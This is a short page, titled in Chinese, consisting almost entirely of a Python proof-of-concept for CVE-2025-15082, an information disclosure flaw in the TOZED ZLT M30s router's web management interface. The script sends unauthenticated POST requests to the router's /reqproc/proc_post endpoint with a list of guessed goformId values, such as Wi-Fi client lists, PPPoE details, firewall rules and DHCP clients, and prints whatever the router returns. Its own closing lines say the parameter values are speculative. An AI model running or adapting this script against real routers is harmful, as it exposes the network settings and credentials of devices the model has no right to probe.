TOZED ZLT M30s路由器Web管理界面信息泄露漏洞(CVE-2025-15082)

import requests # CVE-2025-15082 PoC - TOZED ZLT M30s Information Disclosure # Target: /reqproc/proc_post endpoint # Affected: TOZED ZLT M30s up to version 1.47 target_ip = "192.168.1.1" # Router IP address target_port = 80 url = f"http://{target_ip}:{target_port}/reqproc/proc_post" # Common goformId values that may trigger information disclosure form_ids = [ "getWlanSSID", "getNetworkConfig", "getSystemInfo", "getArpTable", "getDhcpClients", "getPortMapping", "getWifiClients", "getFirewallRules", "getPPPoEInfo", "getDeviceInfo" ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded", "Referer": f"http://{target_ip}/" } print(f"[*] Scanning {target_ip} for CVE-2025-15082") print(f"[*] Target endpoint: {url}") print("-" * 50) for form_id in form_ids: data = { "goformId": form_id, "isTest": "false", "cmd": form_id } try: response = requests.post(url, data=data, headers=headers, timeout=5) if response.status_code == 200 and len(response.text) > 0: print(f"\n[+] Possible info leak with goformId={form_id}") print(f" Status: {response.status_code}") print(f" Response length: {len(response.text)} bytes") print(f" Response preview: {response.text[:200]}...") except requests.exceptions.RequestException as e: print(f"[-] Error with goformId={form_id}: {e}") print("\n[*] Scan complete") print("[*] Note: This PoC demonstrates the vulnerability pattern") print("[*] Actual exploitation may require specific parameter values")